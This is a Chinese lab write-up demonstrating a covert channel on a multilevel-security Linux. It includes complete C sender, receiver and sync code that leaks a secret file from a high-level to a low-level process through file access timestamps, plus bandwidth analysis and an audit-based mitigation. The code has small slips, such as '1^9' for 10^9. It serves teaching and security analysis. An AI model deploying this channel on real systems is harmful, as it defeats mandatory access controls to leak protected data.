基于最近访问时间的隐蔽通道及其同步方式的简单介绍与测试

隐蔽通道场景演示

测试准备

  1. 启动到隐蔽通道处理前的安全核 SecLinux

  2. 创建两个进程 user_huser_luser_h 的安全范畴包含 user_l 的安全范畴,user_h 的密级高于user_l 的密级,即 user_h 的安全级支配 user_l 的安全级。此外,设置进程主目录安全级与进程安全级相同。将两个进程主目录自主访问控制权限放开,即均通过 chmod 命令将其权限设为 0777,允许所有进程可读、写和执行。

查看系统所有安全级:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[root@localhost root]# lvladm
Levels:
LID ALIAS LEVEL NAME
1 SYS_PUBLIC system
2 SYS_SECURITY system:security
3 SYS_ADMIN system:admin,login,security
4 SYS_RANGE_MAX range_max:ALL
5 USER_PUBLIC user
6 USER_LOGIN user:login
7 SYS_AUDIT system:audit
8 SYS_LOGIN system:login
9 SYS_RANGE_MIN range_min

Hierachies:
HID NAME
1 range_min
2 system
4 user
256 range_max

Categories:
CID NAME
1 admin
2 audit
3 login
4 security
5 operator

检查安全级支配关系:

1
2
[root@localhost root]# levelcmp SYS_PUBLIC SYS_AUDIT
"SYS_AUDIT" domain "SYS_PUBLIC"! # SYS_ADMIN 支配 SYS_PUBLIC

分别以 SYS_AUDITSYS_PUBLIC 安全级登录 user3user1

1
2
3
4
5
[root@localhost root]# login user3
Password:
User Level: SYS_AUDIT
Logging in at level SYS_AUDIT
-bash-2.05b$
1
2
3
4
5
[root@localhost root]# login user1
Password:
User Level: SYS_PUBLIC
Logging in at level SYS_PUBLIC
-bash-2.05b$

设置进程主目录安全级与进程安全级相同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root@localhost root]# setlevel SYS_PUBLIC /home/user1
[root@localhost root]# getlevel /home/user1
# file: /home/user1
# level id
1
# alias name
SYS_PUBLIC
# full level name(hierarchy:class1,class2,...)
system

[root@localhost root]# setlevel SYS_AUDIT /home/user3
[root@localhost root]# getlevel /home/user3
# file: /home/user3
# level id
7
# alias name
SYS_AUDIT
# full level name(hierarchy:class1,class2,...)
system:audit

通过 setfacl 删除两用户主目录额外添加的 ACL 条目,通过 chmod 命令将两用户主目录权限设为 0777,允许所有进程可读、写和执行:

1
2
3
4
5
6
7
8
9
10
# user1 & user3
-bash-2.05b$ setfacl -b ~
-bash-2.05b$ chmod 777 ~
-bash-2.05b$ ls -la /home
total 20
drwxr-xr-x 5 root root 4096 11-13 11:31 .
drwxr-xr-x 19 root root 4096 11-15 13:05 ..
drwxr-xrwx 2 user1 group1 4096 11-14 10:09 user1
drwx------ 2 user2 group1 4096 11-14 10:04 user2
drwxrwxrwx 2 user3 group2 4096 11-14 01:50 user3
  1. 检验 SecLinux 的安全性:
    1. 高安全级进程可以读低安全级文件,但是不能创建、删除低安全级文件,也不能通过拷贝等方式向下传递信息。
    2. 低安全级进程无法读高安全级文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# user1 创建低安全级文件
-bash-2.05b$ echo "user1's file" >> test1
-bash-2.05b$ chmod 777 test1
-bash-2.05b$ sudo /sbin/getlevel test1
Password:
begin execute
# file: test1
# level id
1
# alias name
SYS_PUBLIC
# full level name(hierarchy:class1,class2,...)
system

# user3 尝试读取与创建低安全级文件
-bash-2.05b$ cat /home/user1/test1
user1's file
-bash-2.05b$ touch /home/user1/test3
touch: creating `/home/user1/test3': 权限不够
-bash-2.05b$ echo "user3 add some message to test1" >> /home/user1/test1
-bash: /home/user1/test1: 权限不够
-bash-2.05b$ cp test3 /home/user1/
cp: cannot create regular file `/home/user1/test3': 权限不够

隐蔽通道同步机制说明

  1. 高低安全级进程事先约定好两个文件路径 f1f2
  2. 低安全级进程可以通过读取一个文件 f1 以通知高安全级进程,该文件由低安全级进程事先创建,低安全级进程读取 f1 再关闭会修改该文件最后访问时间,高安全级进程检测到这一改变以取得控制权。
  3. 高安全级进程取得控制权的方法是查询 f1 的状态,将 st_atime 与事先保存的上一次访问时间比较,若发生了改变则取得控制权。
  4. 高安全级进程可以通过读取另一个文件 f2 来通知低安全级进程。该文件由低安全级进程事先创建,高安全级进程读取 f2 再关闭会修改该文件最后访问时间,低安全级进程检测到这一改变以取得控制权。
  5. 低安全级进程取得控制权的方法是查询 f2 的状态,将 st_atime 与事先保存的上一次访问时间比较,若发生了改变则取得控制权。

这里高低安全级进程需要采用轮询的方式来嗅探发生的变化以接收对方的同步信号。

注意:st_atime 精度越高,单位时间内可以变化的次数越多,进程间可以同步的时间间隔越短。低版本的 Linux 内核(本次实验系统 Linux 内核版本为 Linux 2.4.20)只支持秒级的文件访问时间戳,即 [0s, 1s) 的时间内无论访问多少次,st_atime 只改变一次。自内核2.5.48以来,stat 结构支持三个文件时间戳字段的纳秒分辨率,在文件系统支持的情况下可达到纳秒级时间戳,即理想情况下,1 秒内 st_atime 可改变 \(1^9\) 次,可大大提升最高同步频率。当然,读取文件、查询文件状态、进程间同步等都需要大量系统时间,无法达到理想状态。

隐蔽通道场景说明

信道名称:最近访问时间信道

信道类型:常驻内存型

中介变量:数据结构 statst_atime 成员

存在条件:当进程进程读取一个文件时,系统内核会更新该文件的最近访问时间。同时,系统的安全策略允许高安全级进程读访问低安全级的文件,而低安全级的可以通过查询文件状态察觉这种访问。

发送方动作:发送方读取机密文件,然后,根据该文件内容和编码方式决定要访问的低安全级进程的文件。例如:可以采用二进制编码,由低安全级进程创建文件 m0m7,对应二进制的第 0 位至第 7 位,高安全级进程读取机密文件的每个字符的 ASCII 码的二进制 1 位所对应的文件。

接受方动作:首先确定一组高安全级进程可以读的文件。读取这些文件的最近访问时间信息,作为原始信息记录下来。待高安全级进程发送完消息后,读取这些文件的最近访问时间信息,并与原始信息比较,做出相应解码。

噪音情况:出现噪音的原因主要是接收方在接收时的 CPU 时间片可能会不够用。

带宽估计:不小于 30 比特/秒。与创建的文件数和 st_atime 的精度相关。创建的文件数越多,单次传递的信息位数越多。st_atime 精度越高,单位时间内可以变化的次数越多,则只要同步机制速率允许,传递数据的频率越高。低版本的 Linux 内核(本次实验系统 Linux 内核版本为 Linux 2.4.20)只支持秒级的文件访问时间戳,即 [0s, 1s) 的时间内无论访问多少次,st_atime 只改变一次。高版本的 Linux 内核在文件系统支持的情况下可达到纳秒级时间戳,即理想情况下,1 秒内 st_atime 可改变 \(1^9\) 次,可大大提升带宽。当然,读取文件、查询文件状态、进程间同步等都需要大量系统时间,无法达到理想状态。

处理措施:主要依靠审计方法。

发送、接收程序与同步功能源代码及相关说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// sync.h
#ifndef SYNC_H
#define SYNC_H
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

void init_done_file(int level);
void init_done_stat(int level);
void wait_done(int level);
void done(int level);
void sync_exit();

#define HIGH 1
#define LOW 0

extern struct stat high_done_old, high_done_new;
extern struct stat low_done_old, low_done_new;
extern const char* low_done_path;
extern const char* high_done_path;
extern const char *done_path;
extern struct stat *done_stat_old, *done_stat_new;

#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/**
* 用于 receiver 和 sender 间同步的函数库
* receiver 是低权能的接收方,不可上读。
* sender 是高权能的发送方,可以下读。
* 只有主客体权能相同时,主体可以写入客体。
*
* receiver 创建 high_done 文件,并获取初始文件
* 状态信息,若 sender 完成操作,sender 读取
* high_done 文件,此时文件的最后访问时间 atime
* 发生变动,receiver 可以轮询 high_done 文件状态
* 信息得知 sender 完成操作。low_done 文件同理。
*
*/

#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include "sync.h"

struct stat high_done_old, high_done_new;
struct stat low_done_old, low_done_new;

const char *low_done_path = "/home/user1/com/low_done";
const char *high_done_path = "/home/user1/com/high_done";

const char *done_path;
struct stat *done_stat_old, *done_stat_new;

static void set_level(int level);

static void set_level(int level)
{
switch (level)
{
case HIGH:
done_path = high_done_path;
done_stat_old = &high_done_old;
done_stat_new = &high_done_new;
break;
case LOW:
done_path = low_done_path;
done_stat_old = &low_done_old;
done_stat_new = &low_done_new;
break;
}
}

/**
* 初始化文件
* @note 在 receiver 中调用
*/
void init_done_file(int level)
{
set_level(level);
remove(done_path);
umask(0000);
close(open(done_path, O_CREAT | O_TRUNC | O_WRONLY, 0777));
}

/**
* 初始化文件状态
*/
void init_done_stat(int level){
set_level(level);
stat(done_path, done_stat_old);
}

void wait_done(int level)
{
set_level(level);
do
{
stat(done_path, done_stat_new);
} while (done_stat_old->st_atime == done_stat_new->st_atime);
stat(done_path, done_stat_old);
}

void done(int level)
{
set_level(level);

if (level == HIGH)
sleep(1); // !!!注意:atime 的精度到秒,不加延迟可能会导致多次读取都在同一秒内。
int fd = open(done_path, O_RDONLY);
int buf;
read(fd, &buf, 1); // 必须至少读一点,不然 atime 不会被修改
close(fd);
}

/**
* 退出时删掉临时标记文件
*/
void sync_exit()
{
remove(high_done_path);
remove(low_done_path);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
//receiver.c
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
#include "sync.h"

const char *out = "/home/user1/secret_out.txt";
const char *dir = "/home/user1/com/";
#define END 127

struct stat file_info[8];
// struct stat file_info_new[8];

void write_secret_file(const char *filename, void *buf, int size);
char receive_next();
void init_dir(const char *dir);
int rm_dir(const char *dir);

int main()
{
// 初始化
init_done_file(HIGH);
init_done_file(LOW);
init_done_stat(HIGH);
init_dir(dir);

// 开始工作
printf("receiver working……\n");
char buf[100] = {0};
int size = 0;
int ch = 0;

do
{
wait_done(HIGH); // 等待 sender
ch = receive_next(); // 读取信息
buf[size] = ch;
size++;
done(LOW); // 接收完毕,通知 sender
} while (ch != END);

buf[size]='\0';
write_secret_file(out, buf, size); // 输出文件

// 结束工作,收尾。
exit();
rm_dir(dir);

return 0;
}

void write_secret_file(const char *filename, void *buf, int size)
{
int fd = open(filename, O_CREAT | O_WRONLY);
write(fd, buf, size);
close(fd);
}

char receive_next()
{
char ch = 0;

int i;
for (i = '7'; i >= '0'; i--)
{
// 构造路径字符串
char filepath[80];
strcpy(filepath, dir);
char tmp[2] = {i, 0};
strcat(filepath, tmp);

struct stat stat_tmp;
stat(filepath, &stat_tmp);

ch <<= 1;
if (file_info[i - '0'].st_atime != stat_tmp.st_atime)
{
ch |= 1;
}

file_info[i - '0'] = stat_tmp; // 更新
}
printf("received: %c\n", ch);
return ch;
}

void init_dir(const char *dir)
{
int i;
for (i = '0'; i < '8'; i++)
{
// 构造路径字符串
char filepath[80];
strcpy(filepath, dir);
char tmp[2] = {i, 0};
strcat(filepath, tmp);

umask(0000);
int fd = open(filepath, O_CREAT | O_TRUNC | O_WRONLY, 0777);
close(fd);
stat(filepath, &file_info[i - '0']);
}
}

/**
* 递归删除目录(删除该目录以及该目录包含的文件和目录)
* @dir:要删除的目录绝对路径
*/
int rm_dir(const char *dir)
{
char cur_dir[] = ".";
char up_dir[] = "..";
char dir_name[128];
DIR *dirp;
struct dirent *dp;
struct stat dir_stat;

// 参数传递进来的目录不存在,直接返回
if (0 != access(dir, F_OK))
{
return 0;
}

// 获取目录属性失败,返回错误
if (0 > stat(dir, &dir_stat))
{
perror("get directory stat error");
return -1;
}

if (S_ISREG(dir_stat.st_mode))
{ // 普通文件直接删除
remove(dir);
}
else if (S_ISDIR(dir_stat.st_mode))
{ // 目录文件,递归删除目录中内容
dirp = opendir(dir);
while ((dp = readdir(dirp)) != NULL)
{
// 忽略 . 和 ..
if ((0 == strcmp(cur_dir, dp->d_name)) || (0 == strcmp(up_dir, dp->d_name)))
{
continue;
}
sprintf(dir_name, "%s/%s", dir, dp->d_name);
rm_dir(dir_name); // 递归调用
}
closedir(dirp);

// rmdir(dir); // 删除空目录
}
else
{
perror("unknow file type!");
}

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// sender.c
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include "sync.h"

const char *in = "/home/user3/secret.txt";
const char *dir = "/home/user1/com/";
#define END 127

int read_secret_file(const char *filename, void *buf);
void send_next(char ch);

int main()
{
init_done_stat(LOW);

// 开始工作
char buf[100] = {0};
int filesize = read_secret_file(in, buf);
printf("%s\n",buf);

int i;
for (i = 0; i < filesize; i++)
{
send_next(buf[i]);
//sleep(1);
done(HIGH); // 通知 receiver
wait_done(LOW); // 等待 receiver
}

// 发送结束标志
send_next(END);
done(HIGH); // 通知 receiver

return 0;
}

int read_secret_file(const char *filename, void *buf)
{
int fd = open(filename, O_RDONLY);
struct stat fileinfo;
stat(filename, &fileinfo);
int re=read(fd, buf, fileinfo.st_size);
close(fd);
return fileinfo.st_size;
}

void send_next(char ch)
{
printf("sent: %c\n", ch);
int i;
for (i = '0'; i < '8'; i++)
{
// 构造路径字符串
char filepath[80];
strcpy(filepath, dir);
char tmp[2] = {i, 0};
strcat(filepath, tmp);

if (ch & 1 == 1)
{
int fd = open(filepath, O_RDONLY);
int buf;
read(fd, &buf, 1); // 必须至少读一点,不然 atime 不会被修改
close(fd);
}
ch >>= 1;
}
}
1
2
3
4
#!/bin/bash
# build.sh
gcc -o sender sender.c sync.c
gcc -o receiver receiver.c sync.c

隐蔽通道场景测试

user3 创建一个机密文件在其主目录,并由 root 用户查看其安全级标签:

1
2
3
4
5
6
7
8
9
10
11
12
13
# user3 创建机密文件,并赋予 777 权限
-bash-2.05b$ echo "DON'T TELL OTHERS!!" >> secret.txt
-bash-2.05b$ chmod 777 secret.txt

# root 用户检查其安全级标签
[root@localhost root]# getlevel /home/user3/secret.txt
# file: /home/user3/secret.txt
# level id
7
# alias name
SYS_AUDIT
# full level name(hierarchy:class1,class2,...)
system:audit

user1 尝试读取:

1
2
3
# user1
-bash-2.05b$ cat /home/user3/secret.txt
cat: /home/user3/secret.txt: 权限不够

user1user3 各自获取 receiversender 程序,并由 user1 事先在其主目录创建 com 目录,在其中创建 high_done 文件,并赋予目录和文件 777 权限:

1
2
3
# user3
-bash-2.05b$ mkdir com
-bash-2.05b$ chmod 777 com

user1 先启动 receiver,随后 user3 启动 sender